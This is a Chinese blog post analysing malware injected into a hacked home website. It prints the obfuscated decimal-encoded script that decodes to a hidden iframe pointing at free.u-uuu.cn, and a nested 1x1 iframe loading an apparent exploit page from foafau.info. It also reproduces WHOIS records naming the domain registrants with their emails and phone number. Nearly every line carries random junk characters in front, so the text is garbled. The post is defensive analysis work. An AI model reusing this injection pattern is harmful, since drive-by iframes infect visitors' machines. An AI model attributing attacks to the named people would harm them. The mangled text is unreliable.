首发在我的博客里面，
IMjnj|Fj "jzU` http://www.areway.cn/?p=175 !CROc} 7=t4;8|j; rl9YB %P 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
DPJ#Y -0 [Z|R-{" <script>t=’60,105,102,114,97,109,101,
V2cLwQ'0 32,115,114,99,61,104,116,116,112,58,47,47,
s)#FqB8 102,114,101,101,46,117,45,117,117,117,46,99,
&IM;Yl 110,47,101,114,114,111,114,46,104,116,109,
(Bd8@}\u_ 32,119,105,100,116,104,61,49,48,48,32,104,
mc;Z#"kf 101,105,103,104,116,61,48,62,60,47,105,102,
-
*!R 114,97,109,101,62′;
Tm5]M$) t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
9D:p~_"g }<o.VY&;. <script>t=’60,105,102,114,97,109,101,32,115,
[k.|iCD 114,99,61,104,116,116,112,58,47,47,102,114,
S,Boutd 101,101,46,117,45,117,117,117,46,99,110,47,
\5 IB/ * 101,114,114,111,114,46,104,116,109,32,119,
Yjv}@i" 105,100,116,104,61,49,48,48,32,104,101,105,
)y(pd 103,104,116,61,48,62,60,47,105,102,114,97,
W F<`CQ g[ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
40N8?kQ}? document.write(t);</script>
5BCXI8Ox9x he x:e2x <html xmlns=”
yf+M http://www.w3.org/1999/xhtml .` & ($W “>
V*rAZ0 <head>
Cfu]umZLn <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
VS<E?JnbFV <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Z 9mY*}:U~ <title>首页 - 爱生活家庭网
6wx;grt'Z .{ x-A{l 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Ub*Gv(Pg 转换字符串后的大概内容是（谁点击后果自付）：
WY#A9i5Ge <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
L6Ykv/ V NS @j`6/U 查询玉米u-uuu.cn的详细信息：
-;cZW.< Domain Name: u-uuu.cn
C1^=se ROID: 20070901s10001s64972306-cn
"5u*C#T2$ Domain Status: ok
Enn7p9& Registrant Organization: 王雷
IlJ6 &9 Registrant Name: 王雷
.}S9C]d:a Administrative Email:
czlovexs@126.com = ;#?CAa: Sponsoring Registrar: 北京万网志成科技有限公司
DVt;I$ Name Server:ns.yovole.com
SuU,S E'TX Name Server:ns1.yovole.com
n=l>d#}$%T Registration Date: 2007-09-01 17:54
J`a$"G B. Expiration Date: 2008-09-01 17:54
%N_5p'W 最后PING了一下地址 都没有什么….
[ !/ u, *,X;4?:, 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
jIwz
G+)$P <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
0P^RciC f <script language=”javascript” src=”
?Z=
%I$i http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 7J,j >
I}Uj"m `> 这个玉米应该有可能是木马作者的：
FjqoO. foafau.info的详细信息：
-j dS8n4 Access to INFO WHOIS information is provided to assist persons in
L\}o(P( determining the contents of a domain name registration record in the
.'JO7of Afilias registry database. The data in this record is provided by
_Q,`Qn@|BD Afilias Limited for informational purposes only, and Afilias does not
fqA\Rp6Z guarantee its accuracy. This service is intended only for query-based
j'FSd*5m access. You agree that you will use this data only for lawful purposes
;rYL\`6L and that, under no circumstances will you use this data to: (a) allow,
1=gE ,k5H enable, or otherwise support the transmission by e-mail, telephone, or
<7R\ # facsimile of mass unsolicited, commercial advertising or solicitations
A >< to entities other than the data recipient’s own existing customers; or
u8L%R[#o (b) enable high volume, automated, electronic processes that send
P2pdXNV queries or data to the systems of Registry Operator, a Registrar, or
G#-t&gO3 Afilias except as reasonably necessary to register domain names or
}Tf ~)x modify existing registrations. All rights reserved. Afilias reserves
A@x a$!4} the right to modify these terms at any time. By submitting this query,
;`',M6g you agree to abide by this policy.
<dl:';@a- Domain ID:D22418703-LRMS
6r {NW9y' Domain Name:FOAFAU.INFO
42E]&=Cet Created On:20-Nov-2007 16:05:42 UTC
lJ;7 sgQ# Last Updated On:20-Nov-2007 16:05:44 UTC
ste0:.*qb Expiration Date:20-Nov-2008 16:05:42 UTC
Jt5 \ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
<VI.A" Qk~ Status:CLIENT DELETE PROHIBITED
p A7& Status:CLIENT RENEW PROHIBITED
UIgs/ Status:CLIENT TRANSFER PROHIBITED
T#kPn#| Status:CLIENT UPDATE PROHIBITED
0w 9)#e+JS Status:TRANSFER PROHIBITED
TELN4* Registrant ID:GODA-040110615
<5(P4cm9 Registrant Name:liu hong
_0dm?= Registrant Organization:
/ r6^]grg Registrant Street1:beijing
#&<>|m Registrant Street2:
W5 ^eCYHoi Registrant Street3:
r:0F("},
Registrant City:beijing
/ap3>xkt Registrant State/Province:
){^o"A?-: Registrant Postal Code:100000
KGb:NQ=O6i Registrant Country:CN
.Qk T-12 Registrant Phone:+86.860108888777
"j-Z<F]] Registrant Phone Ext.:
y(/"DUx Registrant FAX:
Kab"r_' Registrant FAX Ext.:
Qc1NLU9: Registrant Email:bbbshiji@163.com
KSkT6 _< Admin ID:GODA-240110615
oS3'q\ Admin Name:liu hong
1) 7n
( Admin Organization:
vOIK6- Admin Street1:beijing
A hl-EVIr< Admin Street2:
4.Luy Admin Street3:
>dO1) Admin City:beijing
R5OP=Q 8 Admin State/Province:
}2c)UQD8 Admin Postal Code:100000
WjLy7& Admin Country:CN
$Y'}wB{pc Admin Phone:+86.860108888777
F6XrJ?JM Admin Phone Ext.:
[Z~h!} Admin FAX:
Q(v*I&k Admin FAX Ext.:
K|[p4*6 Admin Email:bbbshiji@163.com
D>tex/Of3 Billing ID:GODA-340110615
"LZQ1P*ef$ Billing Name:liu hong
Bv-|#sdxm Billing Organization:
%S*<2F9
Billing Street1:beijing
+I~`Ob Billing Street2:
xE>H:YPm Billing Street3:
^#-d^ )f; Billing City:beijing
2tPW1"M.n Billing State/Province:
~4 gOv Billing Postal Code:100000
* i LlBE Billing Country:CN
Z*uv~0a>9Q Billing Phone:+86.860108888777
O_=2{k ~s0 Billing Phone Ext.:
K9-;-{qb Billing FAX:
/`6Y-8e2 Billing FAX Ext.:
u NmbR8Mx Billing Email:bbbshiji@163.com
xib?XzxGo Tech ID:GODA-140110615
!@>_5p> q* Tech Name:liu hong
b0X <)1O Tech Organization:
b;Nm$`2 Tech Street1:beijing
E3..$x-/ Tech Street2:
M9[52D!{ Tech Street3:
7Yv 1et
| Tech City:beijing
rgq~lZ.U4K Tech State/Province:
v=m!$ ~ Tech Postal Code:100000
s"OP[YEke/ Tech Country:CN
9mA6nmp Tech Phone:+86.860108888777
jGm`Qg{< Tech Phone Ext.:
ky4 ;7RK Tech FAX:
HKB?G~ Tech FAX Ext.:
q|7i6jq\*R Tech Email:bbbshiji@163.com
P" -*'q,9 Name Server:NS27.DOMAINCONTROL.COM
~l {*XM Name Server:NS28.DOMAINCONTROL.COM
RBOb/.$ Name Server:
pg<m0g@W*; Name Server:
GK6/S_l%D+ Name Server:
{*yFTP"93 Name Server:
hHA !.u4& Name Server:
4Fu:ov
]M Name Server:
6chcpP0 Name Server:
h2S!< Name Server:
TA4>1 2C6 Name Server:
Y5mQY5u| Name Server:
jpwR \"UJ Name Server:
UTWchh Tumv0=q4wd 接着下载每个文件里面的代码：
]S 一步一步看..
gm^j8 B 
6DkFI kS 
" FD`1 
\p4>onGI 
=Ff _)k
ZYS`M?Au 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
